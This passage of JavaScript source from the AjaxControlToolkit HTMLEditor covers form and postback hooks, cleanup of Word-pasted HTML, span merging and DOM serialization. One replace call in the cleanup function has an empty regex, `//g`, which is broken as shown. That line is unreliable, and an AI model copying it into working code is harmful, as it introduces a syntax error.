            if (form.AjaxControlToolkit_HTMLEditor_editPanels.length == 0) {
                window.theForm.onsubmit = original;
                form.originalOnSubmit_AjaxControlToolkit_HTMLEditor = null;
                form.AjaxControlToolkit_HTMLEditor_editPanels = null;
                if (window.__doPostBack_AjaxControlToolkit_HTMLEditor_original != null && typeof window.__doPostBack_AjaxControlToolkit_HTMLEditor_original != "undefined") {
                    window.__doPostBack = window.__doPostBack_AjaxControlToolkit_HTMLEditor_original;
                    window.__doPostBack_AjaxControlToolkit_HTMLEditor_original = null;
                }
                if (window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original != null && typeof window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original != "undefined") {
                    window.ValidatorGetValue = window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original;
                    window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original = null;
                }
            }
        }
    }
}

AjaxControlToolkit.HTMLEditor.EditPanelsOnSubmit = function(e) {
    var form = window.theForm;
    var ret = true;
    for (var i = 0; i < form.AjaxControlToolkit_HTMLEditor_editPanels.length; i++) {
        var ret = form.AjaxControlToolkit_HTMLEditor_editPanels[i].handler(e);
        if (!ret) break;
    }
    if (ret && form.originalOnSubmit_AjaxControlToolkit_HTMLEditor != null && typeof form.originalOnSubmit_AjaxControlToolkit_HTMLEditor != "undefined") {
        ret = form.originalOnSubmit_AjaxControlToolkit_HTMLEditor(e);
    }
    if (!ret || !window.Page_IsValid) {
        for (var i = 0; i < form.AjaxControlToolkit_HTMLEditor_editPanels.length; i++) {
            form.AjaxControlToolkit_HTMLEditor_editPanels[i].editPanel._contentPrepared = false;
        }
    }
    return ret;
}

AjaxControlToolkit.HTMLEditor.ValidatorGetValue = function(id) {
    var component = $find(id);
    if (component != null) {
        var editPanel = null;
        if (AjaxControlToolkit.HTMLEditor.Editor.isInstanceOfType(component)) {
            editPanel = component.get_editPanel();
        } else if (AjaxControlToolkit.HTMLEditor.EditPanel.isInstanceOfType(component)) {
            editPanel = component;
        }
        if (editPanel != null) {
            var content = editPanel._contentForValidation;
            if (content == null || typeof content == "undefined") {
                content = editPanel.get_content();
            }
            return content;
        }
    }
    return window.ValidatorGetValue_AjaxControlToolkit_HTMLEditor_original(id);
}

AjaxControlToolkit.HTMLEditor.EditPanelsOnPostBack = function(eventTarget, eventArgument) {
    var form = window.theForm;
    for(var i=0; i < form.AjaxControlToolkit_HTMLEditor_editPanels.length; i++) {
        var ret = form.AjaxControlToolkit_HTMLEditor_editPanels[i].handler(null);
        if(!ret) return false;
    }
    if (window.__doPostBack_AjaxControlToolkit_HTMLEditor_original != null && typeof window.__doPostBack_AjaxControlToolkit_HTMLEditor_original != "undefined") {
        return window.__doPostBack_AjaxControlToolkit_HTMLEditor_original(eventTarget, eventArgument);
    }
    return true;
}

AjaxControlToolkit.HTMLEditor.getRealAttributeIE = function(element, name, source) {
    var value = source;
    var n_value = "";
    function tempFunc(p0,p1) {
        n_value = p1;
    }

    element.outerHTML.replace(new RegExp("^(?:<[^>]*?"+name+"=\")([^\"]*?)\"","ig"),tempFunc);
    if (n_value == "") {
        element.outerHTML.replace(new RegExp("^(?:<[^>]*?"+name+"=')([^']*?)'","ig"),tempFunc);
    }
    if (n_value == "") {
        element.outerHTML.replace(new RegExp("^(?:<[^>]*?"+name+"=)([^\s>]*?)","ig"),tempFunc);
    }
    if (value != n_value && n_value != "") {
        value = n_value;
        value = value.replace(/&amp;/g,"&");
    }
    return value;
}

AjaxControlToolkit.HTMLEditor.getRealAttribute = function(element,name) {
    var searchName = name.toLowerCase();
    var attrs = element.attributes;
    var value = "";
    for (i = 0; i < attrs.length; ++i) {
        var a = attrs.item(i);
        if (!a.specified) continue;

        var name = a.name.toLowerCase();
        if (name == searchName) {
            value = a.value;
            if (AjaxControlToolkit.HTMLEditor.isIE) {
                value = AjaxControlToolkit.HTMLEditor.getRealAttributeIE(element, name, value);
            }
            if (name == "src" || name == "href")
                value = value.replace(/(\(S\([A-Za-z0-9_]+\)\)\/)/,"");
            break;
        }
    }
    return value;
}

AjaxControlToolkit.HTMLEditor.enabledWordTags = [
    "img",
    "strong",
    "p",
    "b",
    "i",
    "u",
    "a",
    "h1",
    "h2",
    "h3",
    "h4",
    "h5",
    "h6",
    "table",
    "tbody",
    "tr",
    "td",
    "ul",
    "ol",
    "li",
    "span",
    "div",
    "font",
    "xml",
    "del",
    "ins",
    "em",
    "sub",
    "sup",
    "hr",
    "br"
];

AjaxControlToolkit.HTMLEditor.cleanUp = function(html) {
    var old_ret;

    var ret = AjaxControlToolkit.HTMLEditor.Trim(html.replace(/[\x00-\x1F]+/g," "))
             .replace(/^[^\u0000]+?<html(?:[^>]*?)>/gi,"").replace(/<\/html(?:[^>]*?)>[^\u0000]*$/gi,"")
             .replace(/<head(?:[^>]*?)>[^\u0000]*?<\/head(?:[^>]*?)>/gi,"")
             .replace(/<body[^>]*?>([^\u0000]*?)<\/body(?:[^>]*?)>/gi,"$1")
             .replace(/<\/?html(?:[^>]*?)>/gi,"")
             .replace(/<\/?head(?:[^>]*?)>/gi,"")
             .replace(/<\/?body(?:[^>]*?)>/gi,"")
             .replace(/<!--(\w|\W)+?-->/ig,"") // remove comments
             .replace(/(<[\/]?)(?:o|v|x|p|w|\?xml):(\w+)([^>]*?>)/ig,"$1$2$3") // remove prefixes
             .replace(/<(IMAGEDATA)([^>]*?)>/ig,"<img$2>") // replace ImageData
             .replace(/<p[^>]*><p>&nbsp;<\/p><\/p>/ig,"<br>") // remove empty P
             .replace(/<p[^>]*?\/>/ig,"").replace(/<(p|div)[^>]*?>&nbsp;<\/(\1)[^>]*?>/ig,"").replace(/<(p|div)[^>]*?><\/(\1)[^>]*?>/ig,"");

    // remove some attributes
    do {
        old_ret = ret;
        ret = ret.replace(/<([^>]*)(?:class|size|lang|face|start|type|border|[ovwxp]:\w+)=(?:\'[^\']*\'|\"[^\"]*\"|[^> ]+)([^>]*)>/ig,  "<$1$2>");
    }
    while(ret != old_ret)

    // remain enabled tags only

    var div = document.createElement("div");

    div.innerHTML = ret;

    function diver(elem) {
        var n = elem.childNodes.length;

        for(var i=0; i<elem.childNodes.length; i++) {
            var child = elem.childNodes.item(i);
            if(child.nodeType==1){
                if(child.tagName.indexOf("/")>=0) {
                    i--;
                    child.parentNode.removeChild(child);
                } else {
                    var search = child.tagName.toLowerCase();
                    var found  = false;
                    var nn     = AjaxControlToolkit.HTMLEditor.enabledWordTags.length;

                    for(var j=0; j < nn; j++) {
                        if(AjaxControlToolkit.HTMLEditor.enabledWordTags[j] == search) {
                            found = true;
                            break;
                        }
                    }
                    diver(child);
                    if(!found) {
                        i += child.childNodes.length;
                        while(child.firstChild) child.parentNode.insertBefore(child.firstChild,child);
                        child.parentNode.removeChild(child);
                        i--;
                    } else {
                        var s_background_color = child.style.backgroundColor;
                        var s_color            = child.style.color;

                        child.style.cssText ="";
                        child.removeAttribute("style");

                        if(child.getAttribute("width") && child.getAttribute("width").length > 0) child.style.width=child.getAttribute("width");
                        if(child.width && child.width.length > 0) child.style.width=child.width;
                        child.width ="";
                        try{child.removeAttribute("width");}catch(e){}

                        if(child.getAttribute("height") && child.getAttribute("height").length > 0) child.style.height=child.getAttribute("height");
                        if(child.height && child.height.length > 0) child.style.height=child.height;
                        child.height ="";
                        try{child.removeAttribute("height");}catch(e){}

                        if(search=="table") {
                            child.style.borderLeftWidth = "1px";
                            child.style.borderLeftColor = "black";
                            child.style.borderLeftStyle = "solid";
                            child.style.borderTopWidth  = "1px";   
                            child.style.borderTopColor  = "black"; 
                            child.style.borderTopStyle  = "solid";

                            child.style.backgroundColor = s_background_color;
                            child.style.color           = s_color;
                        }

                        if(search=="td") {
                            child.style.borderRightWidth  = "1px";
                            child.style.borderRightColor  = "black";
                            child.style.borderRightStyle  = "solid";
                            child.style.borderBottomWidth = "1px";   
                            child.style.borderBottomColor = "black"; 
                            child.style.borderBottomStyle = "solid";

                            child.style.backgroundColor   = s_background_color;
                            child.style.color             = s_color;
                        }

                        if(search=="font" || search=="span") {
                            child.style.backgroundColor = s_background_color;
                            child.style.color           = s_color;

                            var attrs = child.attributes;
                            var n =0;
                            for (var m = 0; m < attrs.length; ++m) {
                                var a = attrs.item(m);
                                if (!a.specified) continue;
                                n++;
                            }

                            if(n== 0 && child.style.cssText=="") {
                                i += child.childNodes.length;
                                while(child.firstChild) child.parentNode.insertBefore(child.firstChild,child);
                                child.parentNode.removeChild(child);
                                i--;
                            }
                        }
                    }
                }
            }
        }
    }

    diver(div);
    ret = AjaxControlToolkit.HTMLEditor.Trim(div.innerHTML);
    delete div;

    
    ret = ret.replace(/<[\/]?(xml|del|ins)[^>]*?>/ig,"") // remove some tags (content should be remained)
         .replace(/<(p|div)[^>]*?>/ig,"") // remove P, DIV tags (content should be remained) <br> is added
         .replace(/<\/(p|div)[^>]*?>/ig,"<br>");

    // remove empty style tags
    do {
        old_ret = ret;
        ret = ret.replace(/<b><\/b>/ig,"").replace(/<i><\/i>/ig,"").replace(/<u><\/u>/ig,"").replace(/<strong><\/strong>/ig,"").replace(/<em><\/em>/ig,"").replace(/<sub><\/sub>/ig,"").replace(/<sup><\/sup>/ig,"");
        ret = ret.replace(/<span[^>]*?><\/span>/ig,"").replace(/<span>([^<]+?)<\/span>/ig,"$1");
        ret = ret.replace(/<font[^>]*?><\/font>/ig,"").replace(/<font>([^<]+?)<\/font>/ig,"$1");
    }
    while(ret != old_ret)

    // replace all Microsoft special characters
    ret = ret.replace(/&rsquo;/g,  "'")
         .replace(/&lsquo;/g,  "'")
         .replace(/&ndash;/g,  "-")
         .replace(/&mdash;/g,  "-")
         .replace(/&hellip;/g, "...")
         .replace(/&quot;/g,   "\"")
         .replace(/&ldquo;/g,  "\"")
         .replace(/&rdquo;/g,  "\"")
         .replace(//g,        "")
         .replace(/&bull;/g,   "")
         .replace(/[ \s]+/g," ").replace(/((&nbsp;)+)/g,"&nbsp;"); // remove extra spaces

    if(document.all) ret = ret.replace(/^[\x00-\x1F]*&nbsp;/,"");

    return ret;
};

AjaxControlToolkit.HTMLEditor.spanJoiner = function(element,doc, sFrom, sTo, nobr) {
    var sIndex  = 0;
    var sLength = element.childNodes.length;

    if(typeof sFrom != "undefined" && sFrom != null) sIndex  = sFrom;
    if(typeof sTo   != "undefined" && sTo   != null) sLength = sTo;

    for(var i=sIndex; i < sLength && i < element.childNodes.length; i++) {
        var child = element.childNodes.item(i)
        if (child.parentNode != element) {
            continue;
        }
        switch (child.nodeType) {
            case 1: // Node.ELEMENT_NODE
            if(child.childNodes.length==0 && AjaxControlToolkit.HTMLEditor.isStyleTag(child.tagName) && child.tagName.toUpperCase() != "A" && !(child.className.length > 0 || (child.getAttribute("class") && child.getAttribute("class").length > 0)) && !AjaxControlToolkit.HTMLEditor.isTempElement(child)) {
                element.removeChild(child);
                i--;
                sLength--;
                continue;
            }                             

            if( child.tagName.toUpperCase()=="SPAN") {
                while(child.childNodes.length==1 && child.firstChild.nodeType==1) {
                    if(child.firstChild.tagName.toUpperCase()=="SPAN" && !AjaxControlToolkit.HTMLEditor.isTempElement(child.firstChild)) {
                        var attrs  = AjaxControlToolkit.HTMLEditor.differAttr (child.firstChild,[]);
                        var styles = AjaxControlToolkit.HTMLEditor.differStyle(child.firstChild);
                        var oldSpan   = child.firstChild;
                        var chieldren = oldSpan.childNodes;

                        while(oldSpan.firstChild != null) {
                            child.insertBefore(oldSpan.firstChild,oldSpan);
                        }

                        for(var j=0; j < styles.length; j++) {
                            if(styles[j][1]) {
                                try {
                                    if(child.style[styles[j][0]]) {
                                        if(styles[j][0].toLowerCase().indexOf("color") >= 0) {
                                            child.style[styles[j][0]] = styles[j][1];
                                        } else {
                                            try {
                                                var sv = child.style[styles[j][0]];

                                                child.style[styles[j][0]] = child.style[styles[j][0]]+" "+styles[j][1];

                                                if(sv == child.style[styles[j][0]]) {
                                                    child.style[styles[j][0]] = styles[j][1];
                                                }
                                            }
                                            catch(e) {
                                                child.style[styles[j][0]] = styles[j][1];
                                            }
                                        }
                                    } else {
                                        child.style[styles[j][0]] = styles[j][1];
                                    }
                                } catch (ee) {}
                            }
                        }
                        for(var j=0; j < attrs.length; j++) {
                            if(attrs[j][1]) {
                                child.setAttribute(attrs[j][0],attrs[j][1]);
                            }
                        }
                        child.removeChild(oldSpan);
                        continue;
                    } else {
                        if(child.firstChild.tagName.toUpperCase()=="SPAN" && AjaxControlToolkit.HTMLEditor.isTempElement(child.firstChild)) {
                            var svv = child.firstChild;
                            child.parentNode.insertBefore(child.firstChild,child);
                            child.parentNode.removeChild(child);
                            child = svv;
                        }
                    }

                    break;
                }

                var tempArr = [];
                var nextChild = child.nextSibling;

                while(!AjaxControlToolkit.HTMLEditor.isTempElement(child) && nextChild && i+1 < sLength && (nextChild.nodeType == 3 || (nextChild.nodeType == 1 &&
                      (nextChild.tagName.toUpperCase()=="SPAN" || (nextChild.tagName.toUpperCase()=="BR") && typeof nobr == "undefined") &&
                      !AjaxControlToolkit.HTMLEditor.isTempElement(nextChild)))) {
                    if(nextChild.nodeType == 3) {
                        if((""+nextChild.data+"").length==0) {
                            nextChild.parentNode.removeChild(nextChild);
                            nextChild = child.nextSibling;
                            sLength--;
                        } else {
                            break;
                        }
                    }
                    else {
                        if(nextChild.tagName.toUpperCase()=="BR") {
                            tempArr.push(nextChild);
                            nextChild = nextChild.nextSibling;
                        } else {
                            var attrs  = AjaxControlToolkit.HTMLEditor.differAttr (child,[], nextChild);
                            var styles = AjaxControlToolkit.HTMLEditor.differStyle(child,    nextChild);

                            if(attrs.length==0 && styles.length==0 && child.className == nextChild.className) {
                                var n = tempArr.length;

                                for(var j=0; j < n; j++) {
                                    child.appendChild(tempArr[j]);
                                    sLength--;
                                }
                                tempArr = [];

                                while(nextChild.firstChild) child.appendChild(nextChild.firstChild);
                                nextChild.parentNode.removeChild(nextChild);
                                nextChild = child.nextSibling;
                                sLength--;
                            } else {
                                break;
                            }
                        }
                    }
                }

                if(!AjaxControlToolkit.HTMLEditor.isTempElement(child) && child.className.length == 0) {
                    var attrs  = AjaxControlToolkit.HTMLEditor.differAttr (child,[]);
                    var styles = AjaxControlToolkit.HTMLEditor.differStyle(child   );

                    if(attrs.length==0 && styles.length==0) {
                        i--;
                        sLength--;
                        while(child.firstChild) {
                            child.parentNode.insertBefore(child.firstChild,child);
                            sLength++;
                        }
                        child.parentNode.removeChild(child);
                        continue;
                    }
                }
            }

            if(child.parentNode != null) {
                if(child.childNodes.length==0 && AjaxControlToolkit.HTMLEditor.isStyleTag(child.tagName) && child.tagName.toUpperCase() != "A" && !(child.className.length > 0 || (child.getAttribute("class") && child.getAttribute("class").length > 0)) && !AjaxControlToolkit.HTMLEditor.isTempElement(child)) {
                    element.removeChild(child);
                    i--;
                    sLength--;
                    continue;
                } else {
                    AjaxControlToolkit.HTMLEditor.spanJoiner(child,doc);
                }
            }
            break;
        }
    }
};

AjaxControlToolkit.HTMLEditor._styleTags = [
    "strong",
    "em",
    "u",
    "strike",
    "s",
    "span",
    "font",
    "b",
    "sub",
    "sup",
    "a",
    "i"
];

AjaxControlToolkit.HTMLEditor.isStyleTag = function(tag) {
    if(!tag) return false;
    for(var i=0; i< AjaxControlToolkit.HTMLEditor._styleTags.length; i++) {
        if(AjaxControlToolkit.HTMLEditor._styleTags[i].toLowerCase()==tag.toLowerCase()) return true;
    }
    return false;
};

AjaxControlToolkit.HTMLEditor.smartClassName = "AjaxControlToolkitMSIEparagraph";
AjaxControlToolkit.HTMLEditor.noContextMenuAttribute= "obout-no-contextmenu";

AjaxControlToolkit.HTMLEditor.isTempElement = function(el) {
    if(el.id && el.id.length > 0 && el.id.indexOf(AjaxControlToolkit.HTMLEditor.smartClassName) >= 0) return true;
    return false;
};

AjaxControlToolkit.HTMLEditor.differAttr = function(element,pr, comp) {
    var result = [];
    var parent = element.parentNode;

    if(typeof comp != "undefined") parent = comp;

    if(!parent || !parent.tagName || !AjaxControlToolkit.HTMLEditor.isStyleTag(parent.tagName)) parent = null;

    if(element.attributes)
    for (var i=0; i < element.attributes.length; i++) {
        var attr = element.attributes[i];
        var brk=false;

        for(var j=0; j < pr.length; j++) {
            if(attr.name.toUpperCase() == pr[j].toUpperCase()) {
                brk=true;
                break;
            }
        }

        if(brk) continue;

        if(attr.name.toUpperCase() == "STYLE") continue;
        if(attr.name.toUpperCase().substr(0,4) == "_MOZ") continue;
        if(attr.specified)
        if(parent && parent.attributes && parent.attributes[attr.name]) {
            var pattr= parent.attributes[attr.name];

            if(pattr) {
                if(attr.name != pattr.name || attr.value != pattr.value) {
                    result.push([attr.name, attr.value]);
                }
            }
        } else {
            if(attr.name.toUpperCase() == "CLASS" && attr.value =="") continue;
            result.push([attr.name, attr.value]);
        }
    }
    return result;
};

AjaxControlToolkit.HTMLEditor.differStyle = function(element, comp) {
    var result = [];
    var parent = element.parentNode;

    if(typeof comp != "undefined") parent = comp;

    if(!parent || !parent.tagName || !AjaxControlToolkit.HTMLEditor.isStyleTag(parent.tagName)) parent = null;

    function _putStyle(i,_style) {
        _style=""+_style;

        if(i.toLowerCase()=="textdecoration") {
            var _arr = _style.split(" ");

            for(var j=0; j<_arr.length; j++) {
                result.push([i, AjaxControlToolkit.HTMLEditor.Trim(_arr[j])]);
            }
        } else {
            result.push([i, _style]);
        }
    }

    for (var i in element.style) {
        if(i && typeof i == "string" && i != "accelerator") {
            var ii = i;
            
            if(!isNaN(parseInt(i))) {
                if(!AjaxControlToolkit.HTMLEditor.isSafari) {
                    continue;
                }
                ii = element.style[i];
            }

            var style = element.style[ii];
            
            if(style && typeof style == "string" && style != "accelerator") {
                if(parent && parent.style) {
                    var pstyle= parent.style [ii];

                    if(ii.toLowerCase() != "csstext" && ii.toLowerCase() != "length")
                    if(style != pstyle) {
                        _putStyle(ii, style);
                    }
                } else {
                    if(ii.toLowerCase() != "csstext" && ii.toLowerCase() != "length") {
                        _putStyle(ii, style);
                    }
                }
            }
        }
    }

    if(typeof comp != "undefined")
    for (var i in parent.style) {
        if(i && typeof i == "string" && i != "accelerator") {
            var ii = i;
            
            if(!isNaN(parseInt(i))) {
                if(!AjaxControlToolkit.HTMLEditor.isSafari) {
                    continue;
                }
                ii = element.style[i];
            }

            var style = parent.style[ii];
            if(style && typeof style == "string" && style != "accelerator") {
                var pstyle= element.style [ii];

                if(i.toLowerCase() != "csstext" && ii.toLowerCase() != "length")
                if(style != pstyle) {
                    _putStyle(ii, style);
                }
            }
        }
    }

    return result;
};

AjaxControlToolkit.HTMLEditor.brXHTML = function(str) {
    return str.replace(/<br>/ig, "<br/>");
};


AjaxControlToolkit.HTMLEditor._needsClosingTag = function(el) {
    var closingTags = " script style div span a del strong em u strike font b sub sup p iframe li ul ol placeholder textarea td tr ";
    return (closingTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
};

AjaxControlToolkit.HTMLEditor._encodeText_ = function(str) {
    return str.replace(/&/ig, "&amp;").replace(/</ig, "&lt;").replace(/>/ig, "&gt;").replace(/\"/ig, "&quot;").replace(/\xA0/ig, "&nbsp;");
};

AjaxControlToolkit.HTMLEditor._noNeedsClosingTag = function(el) {
    var closingTags = " hr br ";
    return (closingTags.indexOf(" " + el.tagName.toLowerCase() + " ") != -1);
};

AjaxControlToolkit.HTMLEditor.canBeInsideP = function(el,prize)
{
    if(el && el.style && el.style.display && el.style.display.toLowerCase()=="inline") return true;

    var name = el.tagName.toUpperCase();

    if(name.length==2) {
        if(name.substr(0,1)=="H" && parseInt(name.substr(1,1)) > 0) {
            return false;
        }
    }
    switch(name) {
        case "TBODY"      :
        case "TR"         :
        case "TD"         :
            if(typeof prize != "undefined") {
                var par = el.parentNode;
                while(par && par.tagName && par.tagName.toUpperCase() != "TABLE") par = par.parentNode;

                if(par.tagName.toUpperCase() == "TABLE" && par.style && par.style.display && par.style.display.toLowerCase() == "inline") {
                    return true;
                }
            }
        case "P"          :
        case "PRE"        :
        case "TABLE"      :
        case "OL"         :
        case "UL"         :
        case "LI"         :
        case "HR"         :
        case "DIV"        :
        case "BLOCKQUOTE" :
        case "FORM"       :
        case "FIELDSET"   :
        case "LEGEND"     :
            return false;
        default:
            return true;   
    }
};

AjaxControlToolkit.HTMLEditor.convertAlign = function(aval) {
    var value;
    var n;

    try { n = parseInt(aval)-1;}
    catch(e){return aval;}

    switch(n) {
        case  1:
            value = "left";
            break;
        case  2:
            value = "right";
            break;
        case  3:
            value = "texttop";
            break;
        case  4:
            value = "absmiddle";
            break;
        case  5:
            value = "baseline";
            break;
        case  6:
            value = "absbottom";
            break;
        case  7:
            value = "bottom";
            break;
        case  8:
            value = "middle";
            break;
        case  9:
            value = "top";
            break;
        default:
            value = aval.replace(/\"/g,"&quot;");
    }

    return value;
};

AjaxControlToolkit.HTMLEditor.getHTML = function(root, outputRoot, must)
{
    try {
        if(typeof must == "undefined") {
            if(!outputRoot && root.nodeType==1) {
                return root.innerHTML;
            } else {
                if(outputRoot && root.nodeType==1 && AjaxControlToolkit.HTMLEditor.isIE) {
                    return root.outerHTML;
                }
            }
        }
    } catch(e){}

    var html = new AjaxControlToolkit.HTMLEditor.jsDocument(true);
    AjaxControlToolkit.HTMLEditor._getHTML_(html, root, outputRoot);

    return html.toString();
};

AjaxControlToolkit.HTMLEditor._getHTML_ = function(html, root, outputRoot, must)
{
    switch (root.nodeType) {
        case 1: // Node.ELEMENT_NODE
        case 11: // Node.DOCUMENT_FRAGMENT_NODE
            if(root.tagName && root.tagName.indexOf("/") >= 0) {
                if(AjaxControlToolkit.HTMLEditor.isIE) {
                    var tag  = root.tagName.toLowerCase().substr(root.tagName.indexOf("/")+1);
                    var prev = root.previousSibling;

                    if(tag == "embed") return;

                    while(prev != null) {
                        if(prev.nodeType == root.nodeType && prev.tagName && prev.tagName.toLowerCase() == tag) {
                            html.append("</teo"+AjaxControlToolkit.HTMLEditor.smartClassName+":"+root.tagName.toLowerCase().substr(root.tagName.indexOf("/")+1)+">");
                            return;
                        }

                        prev = prev.previousSibling;
                    }
                }

                return;
            }

            var closed;
            var noSlash;
            var i;
            if (outputRoot && root.tagName.length >0) {
                var tag = root.tagName.toLowerCase();
                closed = (!(root.hasChildNodes() || AjaxControlToolkit.HTMLEditor._needsClosingTag(root)));
                noSlash= true;

                var scope = "";
                if(AjaxControlToolkit.HTMLEditor.isIE && root.scopeName && typeof root.scopeName != "undefined") {
                    scope = (root.scopeName.toUpperCase()=="HTML")?"":(root.scopeName+":");
                }

                if(AjaxControlToolkit.HTMLEditor.isIE && (closed || tag == "placeholder") && !AjaxControlToolkit.HTMLEditor._noNeedsClosingTag(root) && tag !="embed") {
                    var next = root.nextSibling;

                    while(next != null) {
                        if(next.nodeType == root.nodeType && next.tagName) {
                            var nextTagName = next.tagName;
                            if(nextTagName.indexOf("/") >= 0)
                            if(nextTagName.toLowerCase().substr(nextTagName.indexOf("/")+1) == tag) {
                                closed = false;
                                noSlash= false;
                                break;
                            }
                        }

                        next = next.nextSibling;
                    }
                }

                if(!AjaxControlToolkit.HTMLEditor.canBeInsideP(root)) {
                    html.append("\n");
                }

                html.append("<"+((!closed && !noSlash)?"teo"+AjaxControlToolkit.HTMLEditor.smartClassName+":":scope)+ tag);

                if(AjaxControlToolkit.HTMLEditor.isIE && root.name && root.name.length > 0) {
                    html.append(" name=\"" + root.name.replace(/\"/g,"&quot;") + '"');
                }
                if(AjaxControlToolkit.HTMLEditor.isIE && root.value && root.value.length > 0 && tag != "textarea") {
                    html.append(" value=\"" + root.value.replace(/\"/g,"&quot;") + '"');
                }
                if(AjaxControlToolkit.HTMLEditor.isIE && root.className && root.className.length > 0) {
                    html.append(" class=\"" + root.className.replace(/\"/g,"&quot;") + '"');
                }
                if(AjaxControlToolkit.HTMLEditor.isIE && root.align && root.align.length > 0) {
                    html.append(" align=\"" + root.align.replace(/\"/g,"&quot;") + '"');
                }
                if(AjaxControlToolkit.HTMLEditor.isIE && root.color && root.color.length > 0) {
                    html.append(" color=\"" + root.color.replace(/\"/g,"&quot;") + '"');
                }
                if(AjaxControlToolkit.HTMLEditor.isIE && root.size && root.size.length > 0 && root.size != "+0") {
                    html.append(" size=\"" + root.size.replace(/\"/g,"&quot;") + '"');
                }
                if(AjaxControlToolkit.HTMLEditor.isIE && root.shape && root.shape.length > 0) {
                    html.write(" shape" + '="' + root.shape.replace(/\"/g,"&quot;") + '"');
                }
                if(AjaxControlToolkit.HTMLEditor.isIE && root.coords && root.coords.length > 0) {
                    html.write(" coords" + '="' + root.coords.replace(/\"/g,"&quot;") + '"');
                }

                var attrs = root.attributes;
                var cssForSafari = null;
                for (i = 0; i < attrs.length; ++i) {
                    var a = attrs.item(i);
                    if (!a.specified) continue;

                    var name = a.name.toLowerCase();
                    if (name.substr(0, 4) == "_moz") {
                        // Mozilla reports some special attributes
                        // here we don't need them.
                        continue;
                    }

                    if (name == "teoalign") {
                        continue;
                    }

                    var value;
                    if (name != 'style') {
                        if(name=='width') {
                            value= root.width;
                            if(AjaxControlToolkit.HTMLEditor.isIE && value == 0) {
                                var n_value = 0;

                                root.outerHTML.replace(new RegExp("^(?:<[^>]*?width=)([\\d]+)","ig"),function(p0,p1){n_value = p1;});

                                if(value != n_value) value = n_value;
                            }
                        }
                        else
                        if(name=='height') {
                            value= root.height;
                            if(AjaxControlToolkit.HTMLEditor.isIE && value == 0) {
                                var n_value = 0;

                                root.outerHTML.replace(new RegExp("^(?:<[^>]*?height=)([\\d]+)","ig"),function(p0,p1){n_value = p1;});

                                if(value != n_value) value = n_value;
                            }
                        }
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='name' && root.name && root.name.length > 0 )
                            continue;
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='value' && root.value && root.value.length > 0 )
                            continue;
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='align' && root.align && root.align.length > 0 )
                            continue;
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='class' && root.className && root.className.length > 0 )
                            continue;
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='color' && root.color && root.color.length > 0 )
                            continue;
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='size' && root.size && root.size.length > 0 )
                            continue;
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='shape' && root.shape && root.shape.length > 0 )
                            continue;
                        else
                        if(AjaxControlToolkit.HTMLEditor.isIE && name=='coords' && root.coords && root.coords.length > 0 )
                            continue;
                        else {
                            if(tag=="embed" && name=="align" && (AjaxControlToolkit.HTMLEditor.isIE)) {
                                value = AjaxControlToolkit.HTMLEditor.convertAlign(a.value);
                            }
                            else {
                                value = a.value;
                                if(AjaxControlToolkit.HTMLEditor.isSafari && name == "class") {
                                    if(/apple-style/ig.test(value)) {
                                        continue;
                                    }
                                }
                                if(name == "src" || name == "href") {
                                    if (AjaxControlToolkit.HTMLEditor.isIE) {
                                        value = AjaxControlToolkit.HTMLEditor.getRealAttributeIE(root, name, value);
                                    }
                                    value = value.replace(/(\(S\([A-Za-z0-9_]+\)\)\/)/,"");
                                }
                                value = value.replace(/\"/g,"&quot;");
                            }
                        }
                    } else {
                        if(AjaxControlToolkit.HTMLEditor.isSafari) {
                            cssForSafari = a.value;
                        }
                        continue;
                    }

                    var qchar = "\"";
                    if((""+value+"").indexOf("\"") >= 0) qchar="'";
                    if(name != null) html.append(" " + name + '=' + qchar + value + qchar);
                }

                if(root.style.cssText.length > 0 || cssForSafari != null) {
                    var name  = "style";
                    var re1 = /(url\((?:[^\)]*)\))/ig;
                    var urls = [];

                    function f2($0,$1) {
                        urls.push($1);
                    }

                    var value = ((cssForSafari !=null)?cssForSafari:root.style.cssText).toLowerCase();
                    value.replace(re1, f2);
                    var times = 0;

                    function f3() {
                        var temp = urls[times];
                        times++;
                        return temp;
                    }

                    value = AjaxControlToolkit.HTMLEditor.tryReplaceRgb(value.replace(re1, f3)).replace(/(font-weight\s*:\s*)(700)/ig, "$1bold")
                            .replace(/([\s]*-moz-[^;]*[;][\s]*)/ig, "").replace(/(-moz-.*)$/i, "")
                            .replace(/(background-position: 0% 0%[;]*[\s]*)/ig, "");
                    
                    if(AjaxControlToolkit.HTMLEditor.isSafari) {
                        function repSaf($0,$1,$2,$3) {
                            return $1+$2.replace(/(,)/g,"")+$3;
                        }
                        
                        value = value.replace(/(text-decoration:)([^;$]+)([;$])/ig, repSaf);
                    }
                    
                    if(AjaxControlToolkit.HTMLEditor.isSafari || AjaxControlToolkit.HTMLEditor.isOpera) {
                        function repSafOp($0,$1,$2,$3) {
                            return $1+$2.replace(/(['"])/g,"")+$3;
                        }
                        value = value.replace(/(font-family:)([^;]+)([;]*)/ig, repSafOp);
                    }

                    if(value.length > 0) {
                        var qchar = "\"";
                        if((""+value+"").indexOf("\"") >= 0) qchar="'";
                        html.append(" " + name + '=' + qchar + value + qchar);
                    }
                }

                html.append(closed ? " />" : ">");

                if(tag=="br") html.append("\n");
            }

            if(root.tagName && root.tagName.toUpperCase()=="SCRIPT") html.append(root.text);
            
            if(root.tagName && root.tagName.toUpperCase()=="STYLE") {
                html.append(root.innerHTML);
            } else {
                for (i = root.firstChild; i; i = i.nextSibling) {
                    AjaxControlToolkit.HTMLEditor._getHTML_(html,i, true)
                }
            }

            if (outputRoot && root.tagName.length >0 && !closed && noSlash) {
                html.append("</" + scope + root.tagName.toLowerCase() + ">");
            }
            break;
        case 3: // Node.TEXT_NODE
            html.append(AjaxControlToolkit.HTMLEditor._encodeText_(""+root.data+""));
            break;
        case 8: // Node.COMMENT_NODE
            if(root.length > 0) {
                html.append("<!--" + root.data + "-->");
                
            } else { // IE bug tricking (negative lengths happen there)
                html.append("<!---->");
